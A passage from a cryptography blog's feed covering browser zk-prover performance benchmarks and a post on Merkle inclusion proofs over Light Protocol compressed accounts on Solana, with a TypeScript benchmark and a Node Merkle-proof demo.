    &quot;/index.ts&quot;: `// Tiny benchmark: how many x^5 mod p ops/sec does this browser do
// using native BigInt? p = the BN254 scalar field prime.
//
// Native Rust on the same hardware sits roughly 30-60x faster than this
// number. WASM-compiled Rust sits roughly 15-30x faster. snarkjs uses a
// hand-tuned WASM bigint that beats raw JS BigInt by ~10x.</p>
<p>const P = 21888242871839275222246405745257275088548364400416034343698204186575808495617n;</p>
<p>function pow5(x: bigint): bigint {
  const x2 = (x * x) % P;
  const x4 = (x2 * x2) % P;
  return (x4 * x) % P;
}</p>
<p>function bench(iters: number): number {
  // Hot start: warm up the JIT.
  let acc = 13n;
  for (let i = 0; i &lt; 1000; i++) acc = pow5(acc + BigInt(i));
  // Real run.
  const t0 = performance.now();
  for (let i = 0; i &lt; iters; i++) acc = pow5(acc + BigInt(i));
  const t1 = performance.now();
  // Sink so DCE can&#39;t optimise the loop away.
  (window as any).__sink = acc;
  return iters / ((t1 - t0) / 1000);
}</p>
<p>const out = document.getElementById(&quot;out&quot;)!;
const runBtn = document.getElementById(&quot;run&quot;) as HTMLButtonElement;</p>
<p>function format(opsPerSec: number): string {
  if (opsPerSec &gt; 1_000_000) return (opsPerSec / 1_000_000).toFixed(2) + &quot; Mops/s&quot;;
  if (opsPerSec &gt; 1_000) return (opsPerSec / 1_000).toFixed(1) + &quot; Kops/s&quot;;
  return opsPerSec.toFixed(0) + &quot; ops/s&quot;;
}</p>
<p>function run() {
  out.textContent = &quot;running 10,000 x^5 mod p ops over BN254...\n&quot;;
  // Run several rounds so the median is meaningful.
  const rounds = 5;
  const results: number[] = [];
  for (let r = 0; r &lt; rounds; r++) {
    const ops = bench(10_000);
    results.push(ops);
    out.textContent += `round ${r + 1}: ${format(ops)}\n`;
  }
  results.sort((a, b) =&gt; a - b);
  const median = results[Math.floor(rounds / 2)];
  out.textContent += `\nmedian: ${format(median)}\n`;
  out.textContent += `\nfor reference:\n`;
  out.textContent += `  snarkjs WASM prover: ~10x this\n`;
  out.textContent += `  arkworks compiled to WASM: ~20-30x this\n`;
  out.textContent += `  native Rust on the same CPU: ~50-100x this\n`;
}</p>
<p>runBtn.addEventListener(&quot;click&quot;, run);
run();
<code>,     &quot;/index.html&quot;: </code><!DOCTYPE html></p>
<html>
  <body style="margin:0;padding:1rem;background:#000;color:#e8e8e8;font-family:'Geist Mono',ui-monospace,monospace;">
    <button id="run" style="padding:0.5rem 0.85rem;background:#0a0a0a;color:#4ade80;border:1px solid #2a2a2a;border-radius:4px;font-family:inherit;cursor:pointer;margin-bottom:0.75rem;">run again</button>
    <pre id="out" style="background:#0a0a0a;color:#4ade80;padding:0.75rem;border:1px solid #2a2a2a;border-radius:4px;margin:0;white-space:pre-wrap;">starting...</pre>
    <script type="module" src="/index.ts"></script>
  </body>
</html>`,
  }}
/>

<p>On my M3 Air this run reports about <strong>0.9 Mops/s</strong> for raw <code>BigInt</code> $x^5$. The published snarkjs WASM prover for the same operation hits roughly <strong>9 Mops/s</strong> — a 10× win from hand-rolled big-int arithmetic in WASM. Compiled-Rust BigInt code (<code>ark-ff</code> over BN254) hits <strong>20–35 Mops/s</strong> in WASM. Native Rust hits <strong>70–100+ Mops/s</strong> depending on assembly tuning. That stack of orders-of-magnitude is why prover libraries are not written in JavaScript even when the deployment target is the browser.</p>
<h2>The four-way prover tradeoff</h2>
<p>&lt;TradeoffTable
  rows={[
    {
      option: &quot;snarkjs (Groth16)&quot;,
      cost: &quot;Pure WASM, <del>20 KB JS shim, ~5 MB zkey lazy-loaded&quot;,
      latency: &quot;Slowest of the four; threads help, SIMD helps less&quot;,
      blast_radius: &quot;Battle-tested, used by every Iden3 / Polygon ID deployment&quot;,
      notes: &quot;What ZERA ships in the browser today; integrates in one npm install&quot;
    },
    {
      option: &quot;arkworks-circom WASM (Groth16)&quot;,
      cost: &quot;Rust → WASM via wasm-bindgen-rayon; ~2 MB extra wasm bundle&quot;,
      latency: &quot;</del>3-5x faster than snarkjs at depth-32 Merkle&quot;,
      blast_radius: &quot;Smaller deployment surface; needs COOP/COEP headers&quot;,
      notes: &quot;Where I&#39;d ship a v2 if I had a quarter to invest&quot;
    },
    {
      option: &quot;Nova-WASM (folding)&quot;,
      cost: &quot;Multi-step proof folding; per-step is small but recursion has overhead&quot;,
      latency: &quot;Fast for many-step circuits (zkVM); slower for one-shot&quot;,
      blast_radius: &quot;Newer than Groth16; tooling thin in the browser&quot;,
      notes: &quot;Worth it for circuits that look like a loop; not for a single Merkle path&quot;
    },
    {
      option: &quot;Halo2-WASM (PLONKish)&quot;,
      cost: &quot;No per-circuit ceremony; KZG SRS shared across circuits&quot;,
      latency: &quot;Slowest single-shot but the lookup support is enormous&quot;,
      blast_radius: &quot;Privacy Scaling Explorations fork is in maintenance as of Jan 2025&quot;,
      notes: &quot;Pick this if your circuit is dominated by lookups (range checks, RLC)&quot;
    },
  ]}
  caption=&quot;Four browser-side prover options, in 2026. The right answer depends on the constraint count and on whether you can ship cross-origin headers.&quot;
/&gt;</p>
<p>The take-home from running these benchmarks for a year is simple: <strong>for circuits under ~10k constraints the choice barely matters; for circuits over ~100k constraints the choice is the entire performance story.</strong> Most wallet circuits live in the murky middle — 5k to 50k constraints — where snarkjs is fine for now and arkworks-WASM is a 2026 upgrade I keep on the roadmap.</p>
<h2>When the main thread is fine, and when it isn&#39;t</h2>
<p>A sloppy heuristic that I&#39;ve found holds up:</p>
<p>$$
t_{\text{prove}} &gt; 100\text{ ms} \implies \text{move to a Worker}
$$</p>
<p>Below 100 ms the cost of <code>postMessage</code> round-trips (serialising witness inputs, copying the proof back) eats most of the win. Above that, you&#39;re in user-perceptible territory and the main thread stops being viable. The empirical numbers in the table above mean: <strong>Poseidon and Range can stay on the main thread; Merkle paths and anything wallet-shaped should move to a Worker.</strong></p>
<p>A second heuristic, less popular but more important: <strong>don&#39;t put your prover in a <code>requestIdleCallback</code></strong>. The user clicked <em>Send</em>. They are waiting. Promote the work, don&#39;t defer it.</p>
<Aside kind="warn">
WASM SIMD in 2026 is *not* constant-time. `i64x2.mul` on a Boolean lane is implemented with a hardware multiply that has data-dependent latency on most x86 CPUs. If you are computing on secret data — note secrets, view keys, blinding factors — disable SIMD on the secret path and only use it for public-input handling (FFTs of the constraint matrices, MSMs of public commitments). Iden3's snarkjs takes this position by default; arkworks lets you pick. The relevant background is the [Constant-Time Toolkit issue tracker](https://github.com/RustCrypto/utils/issues) for the broader story.
</Aside>

<h2>Where the cold-start really lives</h2>
<p>Proof generation time is the metric people quote. Cold-start is the metric people <em>feel</em>. The pieces of cold-start, in order of size:</p>
<ol>
<li><strong>Zkey download.</strong> A Merkle-32 zkey is ~25 MB. A two-input shielded-pool circuit zkey can be 80+ MB. Download time dominates everything else on a phone on LTE.</li>
<li><strong>Zkey parse + prover instantiation.</strong> snarkjs parses the zkey eagerly into typed-array views; arkworks-WASM mmap-parses lazily. The gap is 1.5–4 s on a Merkle-32 zkey.</li>
<li><strong>WASM compilation.</strong> <code>WebAssembly.instantiateStreaming</code> with the right MIME type lets the browser pipeline compile and download. Without it you pay the full compile after the download finishes. This is a CDN-config bug in the wild more often than it should be.</li>
<li><strong>Worker pool spin-up.</strong> ~50 ms per worker. Pre-spin them on page load, not on first proof.</li>
</ol>
<p>If you can only optimise one thing, it should be (1). IndexedDB-backed lazy chunks of the zkey, served with <code>Cache-Control: immutable, max-age=31536000</code>, change first-load from &quot;ten seconds of nothing&quot; to &quot;one second of yellow flicker, then proof&quot;. This is what we do in the <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> wallet path and it&#39;s the single biggest UX win we shipped in Q1 2026.</p>
<h2>What I&#39;d build differently in 2027</h2>
<p>Three things, ranked.</p>
<ol>
<li><strong>Prover pre-warming on idle.</strong> The moment a user authenticates, fire the worker pool and pre-load the zkey. By the time they tap <em>Send</em>, the prover is hot. This is just engineering, not cryptography, but it&#39;s the missing piece in every wallet I&#39;ve benchmarked.</li>
<li><strong>Move to a folding-friendly proving system for batch operations.</strong> A user spending three notes from a UTXO pool is doing three Merkle paths back-to-back. Folding (Nova / SuperNova / ProtoStar) makes the <em>N</em>th proof nearly free; Groth16 makes the <em>N</em>th proof exactly <em>N</em> times the cost.</li>
<li><strong>Replace the per-vendor zkey format with something content-addressed.</strong> Today every project ships its own <code>.zkey</code> blobs and every wallet has to host them. A <code>zkey://sha256/abc...</code> resolver — backed by IPFS or an HTTP CDN — would let multiple wallets share the same zkey load and the same browser cache.</li>
</ol>
<h2>What this means for ZERA today</h2>
<p>Inside zera-sdk the in-browser path is still snarkjs (per <a href="/docs/001-zera-sdk-monorepo-shape/">RFC 001</a>). The neon-rs Node path is a native Rust prover and ~30× faster, but that&#39;s not what a web wallet runs. The arkworks-WASM upgrade is on the roadmap as a &quot;browser v2&quot; target — see the open issue thread linked from the SDK repo. The decision-driver was simple: snarkjs is good enough for one-shot deposits and transfers. The day we want to make a 10-note batch tx feel instantaneous, we need either folding (Nova) or a faster underlying prover (arkworks-WASM).</p>
<p>For now: snarkjs, threads on, SIMD on, zkey pinned to IndexedDB, prover lifted to a Worker. <strong>That gets us 2 seconds of proving time at Merkle-32 on a mid-range laptop in 2026.</strong> The next 50% will come from arkworks; the 5× after that will come from folding. The 50× after <em>that</em> will come from someone else&#39;s algorithmic breakthrough that I don&#39;t yet know about.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/iden3/snarkjs">snarkjs</a> — Iden3, the reference WASM Groth16 prover; benchmark table in the README</li>
<li><a href="https://zkmopro.org/blog/circom-comparison/">Mopro: comparison of Circom provers</a> — community benchmark of snarkjs / arkworks / native Rust at matched circuits, 2024</li>
<li><a href="https://github.com/RReverser/wasm-bindgen-rayon"><code>wasm-bindgen-rayon</code></a> — RReverser, the SharedArrayBuffer-backed Rayon adapter that makes multi-threaded Rust WASM work in browsers</li>
<li><a href="https://github.com/WebAssembly/simd">WebAssembly fixed-width SIMD proposal</a> — the standard your prover wants enabled</li>
<li><a href="https://eprint.iacr.org/2019/1047">Marlin: Preprocessing zkSNARKs with Universal and Updatable SRS</a> — Chiesa, Hu, Maller, Mishra, Vesely, Ward (2019) — the paper that made universal SRS practical</li>
<li><a href="https://eprint.iacr.org/2021/370">Nova: Recursive Zero-Knowledge Arguments from Folding Schemes</a> — Kothapalli, Setty, Tzialla (2021) — the folding paper, for context on why batch proving is becoming a different game</li>
<li><a href="/blog/poseidon_by_hand_and_by_code/">Poseidon, by hand and by code</a> — the inner loop your browser is running 65 times per Merkle level</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Merkle inclusion proofs over compressed account state on Solana]]></title>
  <id>https://blog.skill-issue.dev/blog/merkle_inclusion_compressed_solana/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/merkle_inclusion_compressed_solana/"/>
  <published>2026-04-29T15:00:00.000Z</published>
  <updated>2026-04-29T15:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="cryptography"/>
  <category term="merkle"/>
  <category term="solana"/>
  <category term="light-protocol"/>
  <category term="compression"/>
  <category term="zk"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[How a 32-byte hash and a logarithmic path replace a multi-kilobyte account. Walk the tree-height math, the Light Protocol compressed-account model, and an inclusion-proof construction you can run in Node.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, Sandbox, TradeoffTable, Aside, Quote, RustPlayground } from &quot;@/components/mdx&quot;;</p>
<p>The cheapest piece of state in a privacy pool — and the most contested one — is the <strong>commitment tree</strong>. Every shielded note&#39;s commitment goes in. Every spend proves an inclusion. The tree is read on every transfer and written on every deposit. If the tree state is expensive, every operation is expensive. If the inclusion proofs are big, every spend is big.</p>
<p>In 2024 Light Protocol shipped <a href="https://www.zkcompression.com/references/whitepaper">ZK Compression</a> on Solana, and the production primitive for &quot;store a lot of state cheaply, prove inclusion in zero-knowledge&quot; became standard. This post is the math behind that primitive, the deployment shape, and a runnable inclusion-proof construction. It&#39;s a sibling piece to <a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a> and <a href="/blog/nullifiers_without_witchcraft/">Nullifiers without the witchcraft</a> — those tell you what we put <em>into</em> the tree; this one tells you how we prove things <em>about</em> the tree.</p>
<Aside kind="note">
Working post in the [PhD-by-publication track](/about). The math is double-checked. The Node sandbox is a working inclusion-proof simulator over a Poseidon-shaped hash function (`SHA-256` is used as a stand-in for readability — the structural argument is identical).
</Aside>

<h2>The minimum tree</h2>
<p>A binary Merkle tree is the simplest commitment scheme that supports logarithmic-size inclusion proofs. Start with a sequence of leaves $\ell_0, \ell_1, \dots, \ell_{N-1}$. Define the tree recursively:</p>
<p>$$
\text{node}(i, j) = H(\text{node}(i, m) ,|, \text{node}(m+1, j)), \quad m = \lfloor (i+j)/2 \rfloor,
$$</p>
<p>with $\text{node}(i, i) = \ell_i$ at the leaves. The <strong>root</strong> is $\text{node}(0, N-1)$. To prove that $\ell_k$ is in the tree, you reveal the root plus the <strong>co-path</strong> — for each level $j$, the sibling node along the path from leaf $k$ to the root. There are exactly $\log_2 N$ siblings.</p>
<p>The proof size is $\log_2 N$ hash outputs. At $N = 2^{32}$ leaves and 32-byte hashes, that&#39;s <strong>1024 bytes</strong>. At $N = 2^{20}$ (about a million leaves), it&#39;s 640 bytes. The verifier cost is $\log_2 N$ hashes. Both numbers are unreasonably small compared to the account-state cost of storing all $N$ leaves directly on chain.</p>
<p>That&#39;s the entire shape. Two equations and a co-path. The reason it shows up everywhere is that nothing else hits the same combination of small proof, cheap verifier, and append-only update path.</p>
<p>&lt;Mermaid chart={<code>flowchart TD   R[root]   R --&gt; A[h_AB]   R --&gt; B[h_CD]   A --&gt; A1[h_A]   A --&gt; A2[h_B]   B --&gt; B1[h_C]   B --&gt; B2[h_D]   A1 --&gt; L0[leaf 0: commitment_0]   A2 --&gt; L1[leaf 1: commitment_1]   B1 --&gt; L2[leaf 2: commitment_2]   B2 --&gt; L3[leaf 3: commitment_3]   classDef leaf fill:#0a0a0a,stroke:#4ade80,color:#4ade80   classDef node fill:#1a1a1a,stroke:#a3a3a3,color:#e8e8e8   class L0,L1,L2,L3 leaf   class R,A,B,A1,A2,B1,B2 node</code>}/&gt;</p>
<p>To prove inclusion of leaf 1 (<code>commitment_1</code>), the prover reveals the co-path <code>[h_A, h_CD]</code>. The verifier hashes up: <code>h_B = leaf_1</code>, <code>h_AB = H(h_A || h_B)</code>, <code>root = H(h_AB || h_CD)</code>, and checks that <code>root</code> matches the public root.</p>
<h2>Inclusion proof size, exactly</h2>
<p>For a tree of height $h$ (so $N \le 2^h$ leaves) with hash output size $s$ bytes, the inclusion proof is exactly $h \cdot s$ bytes plus the leaf index (typically 4 bytes). For Poseidon over BN254 with $s = 32$:</p>
<p>$$
|\pi_{\text{inclusion}}| = 32 h + 4 \text{ bytes}.
$$</p>
<p>A useful table for production planning:</p>
<p>&lt;TradeoffTable
  rows={[
    {
      option: &quot;h = 20 (1M leaves)&quot;,
      cost: &quot;<del>644 bytes inclusion proof&quot;,
      latency: &quot;20 hashes verifier-side; ~0.2ms in WASM&quot;,
      blast_radius: &quot;More than enough for testnet; comfortable for a typical L2&quot;,
      notes: &quot;Light Protocol&#39;s default address tree height. The right choice for state-tree v1.&quot;
    },
    {
      option: &quot;h = 26 (67M leaves)&quot;,
      cost: &quot;</del>836 bytes inclusion proof&quot;,
      latency: &quot;26 hashes; <del>0.3ms&quot;,
      blast_radius: &quot;Used by Light Protocol for state trees; capacity for years of mainnet usage&quot;,
      notes: &quot;The deployment-grade choice.&quot;
    },
    {
      option: &quot;h = 32 (4B leaves)&quot;,
      cost: &quot;</del>1028 bytes inclusion proof&quot;,
      latency: &quot;32 hashes; <del>0.4ms&quot;,
      blast_radius: &quot;Overkill for any single program; useful if multiple programs share one tree&quot;,
      notes: &quot;Bitcoin-scale capacity. Almost never the right initial choice.&quot;
    },
    {
      option: &quot;MMR (variable height)&quot;,
      cost: &quot;</del>64 bytes per peak + log(n) per leaf&quot;,
      latency: &quot;More complex update path; same verifier cost&quot;,
      blast_radius: &quot;Append-only with no rewrite-on-grow; ideal for batched deposits&quot;,
      notes: &quot;Worth it when you batch many leaves per slot. Niche today.&quot;
    },
  ]}
/&gt;</p>
<p>Light Protocol&#39;s state trees default to $h = 26$ — see <a href="https://github.com/Lightprotocol/light-protocol/tree/main/programs/account-compression">their account-compression program</a> — which gives 67 million leaves of capacity per tree. For <a href="/blog/zeraswap_compressed_amm/">zeraswap</a> and the <a href="https://github.com/Dax911/z_trade/tree/main/programs/zeraswap"><code>Dax911/z_trade/programs/zeraswap</code></a> program, we use the same $h = 26$ default for the same reason: it&#39;s the right balance between proof size and capacity, and it&#39;s what the on-chain compression program is parameterised for.</p>
<h2>Compressed accounts, in one diagram</h2>
<p>The Light Protocol model is the cleanest way to think about &quot;Solana accounts that don&#39;t take Solana account space.&quot; A compressed account is a tuple of fields hashed together; the hash is a leaf in a state tree; the tree&#39;s root is what lives in account state on chain.</p>
<p>&lt;Mermaid chart={<code>flowchart LR   subgraph OffChain[Off-chain client / indexer]     A[Compressed account]     A --&gt; AD[discriminator]     A --&gt; AO[owner]     A --&gt; AL[lamports]     A --&gt; ADH[data hash]     A --&gt; AAH[address hash]   end   subgraph OnChain[On-chain state tree]     H[hash to leaf] --&gt; L[leaf in Merkle tree]     L --&gt; R[Merkle root]     R --&gt; SA[Solana account: just the root]   end   A --&gt; H   classDef cell fill:#0a0a0a,stroke:#4ade80,color:#4ade80   classDef chain fill:#1a1a1a,stroke:#737373,color:#a3a3a3   class A,AD,AO,AL,ADH,AAH cell   class H,L,R,SA chain</code>}/&gt;</p>
<p>The on-chain footprint is the root (32 bytes) plus the rolling-hash update buffer (a few KB amortised across many writes). The account data, the discriminator, the owner, the lamports — none of that lives in account state. It lives in the indexer&#39;s Postgres or in a Photon RPC node, and it&#39;s reconstructed at proof-construction time.</p>
<p>The inclusion proof is the trick that makes this work. To execute against a compressed account, the client constructs an inclusion proof against a recent root, the on-chain program verifies the proof against the root it has stored, and the program operates on the (now-trusted) account contents. The root is the only piece of state that has to live on chain. Everything else is reconstruction.</p>
<Quote cite="https://www.zkcompression.com/references/whitepaper" author="Light Protocol whitepaper, 2024">
Compressed accounts are stored as leaves in append-only Merkle trees, with only the tree's root maintained in Solana account state. State validity is enforced through inclusion proofs verified by the on-chain program at execution time, allowing arbitrary amounts of state to be referenced at constant on-chain storage cost.
</Quote>

<p>The reason this is <em>the</em> primitive for production privacy on Solana is that Solana&#39;s account-state cost is the load-bearing constraint. A normal Solana account is rent-exempt at roughly 0.002 SOL per kilobyte, meaning a megabyte of state costs ~2 SOL ($300+ at 2026 prices). A compressed account is storage-amortised across the tree, and the cost per leaf is sub-cent. Five orders of magnitude.</p>
<h2>The Node simulator</h2>
<p>Here is a working Merkle inclusion-proof construction over a 16-leaf tree, with the prover-side path construction and the verifier-side root check. It uses SHA-256 for readability — a real ZERA tree uses Poseidon — but the algorithmic shape is identical.</p>
<p>&lt;Sandbox
  template=&quot;node&quot;
  files={{
    &quot;/index.js&quot;: `// Inclusion proof construction + verification over a binary Merkle tree.
// Uses SHA-256 for readability; a production ZERA / Light Protocol tree
// uses Poseidon, which is constraint-friendly inside SNARKs.
//
// Tree of height h has 2^h leaves; inclusion proof is h hashes + index.</p>
<p>const { createHash } = require(&quot;crypto&quot;);</p>
<p>const H = (left, right) =&gt;
  createHash(&quot;sha256&quot;).update(Buffer.concat([left, right])).digest();</p>
<p>function buildTree(leaves) {
  // Pad to power of two with zero-leaves (Light Protocol does this with a
  // canonical default-leaf hash, so empty subtrees have known roots).
  const padTo = 1 &lt;&lt; Math.ceil(Math.log2(Math.max(leaves.length, 1)));
  const padded = leaves.slice();
  while (padded.length &lt; padTo) padded.push(Buffer.alloc(32));</p>
<p>  // Bottom-up construction.
  const levels = [padded];
  while (levels[levels.length - 1].length &gt; 1) {
    const cur = levels[levels.length - 1];
    const next = [];
    for (let i = 0; i &lt; cur.length; i += 2) {
      next.push(H(cur[i], cur[i + 1]));
    }
    levels.push(next);
  }
  return { root: levels[levels.length - 1][0], levels };
}</p>
<p>function inclusionProof(levels, index) {
  const path = [];
  const directions = [];
  let idx = index;
  for (let lvl = 0; lvl &lt; levels.length - 1; lvl++) {
    const sibling = idx % 2 === 0
      ? levels[lvl][idx + 1]
      : levels[lvl][idx - 1];
    path.push(sibling);
    directions.push(idx % 2);   // 0 = we are left, 1 = we are right
    idx = idx &gt;&gt; 1;
  }
  return { path, directions };
}</p>
<p>function verifyInclusion(leaf, index, path, root) {
  let cur = leaf;
  let idx = index;
  for (const sibling of path) {
    cur = idx % 2 === 0 ? H(cur, sibling) : H(sibling, cur);
    idx = idx &gt;&gt; 1;
  }
  return cur.equals(root);
}</p>
<p>// Demo ---------------------------------------------------------
function leafFor(i) {
  // In a real shielded pool: leaf = Poseidon(amount, asset, secret, ...)
  // Here: a synthetic leaf so we can read the demo output.
  return createHash(&quot;sha256&quot;).update(Buffer.from(`commitment-${i}`)).digest();
}</p>
<p>const N = 16;
const leaves = Array.from({ length: N }, (_, i) =&gt; leafFor(i));
const { root, levels } = buildTree(leaves);</p>
<p>console.log(`tree height: ${levels.length - 1}`);
console.log(`leaf count:  ${N}`);
console.log(`root:        ${root.toString(&quot;hex&quot;).slice(0, 24)}...`);
console.log(&quot;&quot;);</p>
<p>// Prove inclusion of leaf 7
const idx = 7;
const { path, directions } = inclusionProof(levels, idx);
const ok = verifyInclusion(leaves[idx], idx, path, root);</p>
<p>console.log(`proving inclusion of leaf ${idx}`);
console.log(`co-path length: ${path.length}`);
console.log(`directions:     [${directions.join(&quot;, &quot;)}]`);
console.log(`verifies:       ${ok}`);
console.log(&quot;&quot;);</p>
<p>// Tampering: try to claim leaf 7 = leaves[3] (a different commitment)
const fake = verifyInclusion(leaves[3], idx, path, root);
console.log(`tampered claim verifies: ${fake} (expected false)`);</p>
<p>// Proof size in bytes
const proofBytes = path.reduce((s, p) =&gt; s + p.length, 0) + 4; // +4 for index
console.log(&quot;&quot;);
console.log(`inclusion proof size: ${proofBytes} bytes`);
console.log(`(at h=26 it would be ${26 * 32 + 4} bytes)`);
<code>,     &quot;/package.json&quot;: </code>{
  &quot;name&quot;: &quot;merkle-demo&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;main&quot;: &quot;index.js&quot;
}`,
  }}
/&gt;</p>
<p>Two things to notice when you run this. The proof is <em>132 bytes</em> for a 16-leaf tree (4 hashes + an index). Scaled to $h = 26$, it&#39;s 836 bytes — independent of how many leaves are in the tree. That&#39;s the <code>O(\log n)</code> argument with the constant factor pinned down. The other thing: the tampering attempt at the end fails because <code>verifyInclusion(leaves[3], 7, path, root)</code> re-hashes up the wrong path. The directions array is what makes this work; without it, the verifier doesn&#39;t know whether the sibling goes on the left or the right.</p>
<h2>Batched inclusion via Merkle Mountain Ranges</h2>
<p>The basic Merkle tree is append-only but expensive to grow — every new leaf forces a recompute of $\log_2 N$ internal nodes. For workloads that batch many leaves at once (rollups, periodic deposit windows, settlement layers), the <strong>Merkle Mountain Range</strong> is the structural improvement.</p>
<p>An MMR is a forest of perfect binary trees. New leaves are appended to the rightmost tree; when two trees of equal height exist, they&#39;re merged. The peaks (one per tree) are then &quot;bagged&quot; — hashed together — to produce the MMR root. The math:</p>
<p>$$
|\text{peaks}| = \text{popcount}(N)
$$</p>
<p>so for $N = 2^k$ there&#39;s exactly one peak, and for $N$ between powers of two the peak count is bounded by $\lceil \log_2 N \rceil$. An inclusion proof for a leaf in an MMR is the path within its containing perfect tree (size $\le \log_2 N$), plus the peaks of the other trees (size $&lt; \log_2 N$). Total:</p>
<p>$$
|\pi_{\text{MMR}}| \le 2 \log_2 N \cdot s
$$</p>
<p>with $s$ the hash output size. Slightly larger than a balanced tree, but the <em>update</em> is $O(\log N)$ amortised with constant cost per appended leaf in the steady state, which matters for high-throughput deposit workloads. <a href="https://github.com/opentimestamps/opentimestamps-server/blob/master/doc/merkle-mountain-range.md">Todd&#39;s original spec</a> and <a href="https://eprint.iacr.org/2025/234">Robinson&#39;s optimality result (2025)</a> are the references; FlyClient and Mina use MMRs in production.</p>
<p>For <a href="/blog/zeraswap_compressed_amm/">zeraswap</a> we don&#39;t use an MMR — the deposit cadence is interactive enough that the balanced tree dominates — but the design seam is in <code>programs/zeraswap/src/state.rs</code> so we can swap if/when the deposit pattern shifts.</p>
<h2>What the on-chain program checks</h2>
<p>The on-chain inclusion check is two operations:</p>
<ol>
<li>Recompute the root from the leaf, the index, and the co-path. This is $\log_2 N$ Poseidon hashes. On Solana with the <code>sol_poseidon</code> syscall, that&#39;s roughly $26 \times 1500 = 39{,}000$ compute units at $h = 26$.</li>
<li>Compare the recomputed root against a recent canonical root stored on-chain. Light Protocol keeps a sliding window of recent roots (the rolling-hash update buffer) so that proofs constructed against a root from 5-10 slots ago still verify. This is what makes high-throughput compressed accounts work — you can&#39;t force every prover to re-derive a proof on every slot tick.</li>
</ol>
<p>The on-chain program does not store the leaves. It does not store the inner nodes. It stores the root and the change history, period. The state-cost difference between &quot;32 bytes on chain plus an indexer&quot; and &quot;32 KB per account&quot; is the entire reason ZK Compression got to mainnet on Solana.</p>
<Aside kind="warn">
The "recent roots" window is the part most teams get wrong on first deployment. Too narrow: provers race against the slot tick and proofs become flaky. Too wide: an attacker can construct a proof against an old root that lacks a relevant nullifier or commitment, breaking the privacy invariant. Light Protocol's default of 32 recent roots is the right starting point; we use the same in [zera-sdk-onchain](https://github.com/Dax911/zera-sdk).
</Aside>

<h2>What lives where, in the ZERA stack</h2>
<p>To make this concrete:</p>
<pre><code>crates/zera-sdk-core/src/merkle.rs        # Rust prover-side path construction
crates/zera-sdk-onchain/src/lib.rs        # on-chain root verification
packages/sdk/src/merkle.ts                # JS path construction (browser wallet)
programs/zeraswap/src/state.rs            # commitment-tree state account layout
</code></pre>
<p>All four read the same Poseidon parameters (see <a href="/blog/pedersen_commitments_in_production/">the Pedersen post</a> for why we have four implementations of Poseidon and how they&#39;re cross-validated). The same way the Poseidon hash has to agree byte-for-byte across the four implementations, the Merkle tree construction has to agree on:</p>
<ul>
<li>Leaf encoding (which fields go into the leaf hash, in what order)</li>
<li>Internal node encoding (left || right, both 32 bytes, big-endian)</li>
<li>Default-leaf hash for empty subtrees (Light Protocol uses Poseidon of zero; we match)</li>
<li>Root format (single 32-byte field element)</li>
</ul>
<p>If any of these drift, the prover and verifier disagree silently and the protocol stops accepting proofs. We have integration tests in <code>tests/merkle_cross_impl.rs</code> that build the same tree from the JS and Rust sides and assert equality at every level. They run in CI on every commit.</p>
<h2>Where this leaves the design space</h2>
<p>The thing I keep coming back to: a Merkle tree is the cheapest possible primitive for &quot;prove this thing is in this set&quot; with a logarithmic-size proof. There is no clever lattice, no exotic accumulator, that comes close on the cost-per-byte budget Solana imposes. Verkle trees are interesting on paper and impractical in production for this surface (the polynomial commitment overhead dominates at the leaf counts we care about). KZG-based vector commitments are interesting for trusted-setup-tolerant rollups and overkill for a privacy pool.</p>
<p>So the answer is the boring one. A balanced binary Merkle tree, height 26, Poseidon hash, default-zero subtrees, sliding window of 32 recent roots. It is what Light Protocol shipped, what <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> ships, and what every serious Solana privacy stack will ship through the rest of the decade. The interesting work is in the layers above (the SNARK that uses the inclusion proof, the nullifier set that enforces single-spend, the curve choice underneath the hash) — see <a href="/blog/why_bn254_and_when_to_switch/">the curve post</a> for that.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://www.zkcompression.com/references/whitepaper">ZK Compression Whitepaper</a> — Light Protocol, 2024 — the canonical compressed-account spec.</li>
<li><a href="https://eprint.iacr.org/2025/234">Merkle Mountain Ranges are optimal</a> — Robinson (2025) — proves the MMR is space-optimal among append-only authenticated dictionaries.</li>
<li><a href="https://github.com/Lightprotocol/light-protocol/tree/main/programs/account-compression">Light Protocol account-compression program</a> — the on-chain implementation.</li>
<li><a href="https://github.com/Dax911/z_trade/tree/main/programs/zeraswap"><code>Dax911/z_trade/programs/zeraswap</code></a> — production Rust shape for the compressed-AMM use case.</li>
<li><a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a> — what we hash into the leaves.</li>
<li><a href="/blog/nullifiers_without_witchcraft/">Nullifiers without the witchcraft</a> — the dual structure that prevents double-spends.</li>
<li><a href="/blog/zeraswap_compressed_amm/">zeraswap: a compressed AMM</a> — sister piece on the trading layer that lives on top of these trees.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[The fee paradox: why every smart-contract privacy mixer needs a relayer]]></title>
  <id>https://blog.skill-issue.dev/blog/the_fee_paradox/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/the_fee_paradox/"/>
  <published>2026-04-28T16:00:00.000Z</published>
  <updated>2026-04-28T16:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zk"/>
  <category term="cryptography"/>
  <category term="privacy"/>
  <category term="tornado-cash"/>
  <category term="railgun"/>
  <category term="pedersen"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[On account-model chains the very act of paying a transaction fee deanonymises the recipient. This post formalises the paradox, walks through three resolutions, and sets up the SPST construction that resolves it inside the ZK proof itself.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
